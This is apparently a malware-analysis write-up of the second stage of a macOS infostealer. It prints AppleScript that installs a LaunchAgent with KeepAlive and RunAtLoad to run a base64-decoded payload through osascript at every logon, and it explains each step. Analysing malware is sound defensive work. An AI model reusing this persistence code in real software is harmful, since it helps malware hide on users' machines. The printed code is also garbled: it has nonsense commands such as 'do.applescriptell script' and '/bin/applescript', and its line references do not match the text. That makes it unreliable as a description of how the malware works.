InfoStealer · Dropper
Essential macOS Stealer - script.sh
- Author
- Moise Medici
- Updated
- 10 Sept 2026 · Completed
- Difficulty
- Easy
- Platform
- Capabilities
- Tags
Stage2 Code Analysis
The content of stage2.applescript is:
do.applescriptell script "SCRIPT_PATH=\"$HOME/Library/guqtsajmydvdqbwg\";mkdir -p \"$HOME/Library/LaunchAgents\";cat > \"$HOME/Library/LaunchAgents/com.guqtsajmydvdqbwg.plist\" <<END_PLIST<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE plist PUBLIC \"-//Apple Computer//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\"><plist version=\"1.0\"> <dict> <key>Label</key> <string>com.guqtsajmydvdqbwg</string> <key>KeepAlive</key> <true/> <key>RunAtLoad</key> <true/> <key>ProgramArguments</key> <array> <string>/bin/applescript</string> <string>-c</string> <string>echo '<large string>' | base64 -d | osascript</string> </array> </dict></plist>END_PLIST"do.applescriptell script "launchctl unload ~/Library/LaunchAgents/com.guqtsajmydvdqbwg.plist 2>/dev/null"do.applescriptell script "launchctl load ~/Library/LaunchAgents/com.guqtsajmydvdqbwg.plist"Four things stand out:
- At line 4, a new “app” is created, and its contents run from line 4 through line 23, between the two
END_PLISTdelimiters. - At lines 11 and 13, the
KeepAliveandRunAtLoadparameters are specified to make the task restart if it fails and execute at logon, respectively. This provides persistence on macOS. - At line 19, another long Base64 string is decoded and executed with
osascript. - At lines 25 and 26, the app is re-registered: it is unloaded first and then loaded. This likely replaces an older version if the device is already infected.
LaunchAgents is similar to Windows Task Scheduler. It executes apps registered in ~/Library/LaunchAgents; because the directory is in the user’s home folder, those agents are user-specific.
The block of code at line 19 can be decoded with:
echo "<long string>==" | base64 -d > stage3.applescript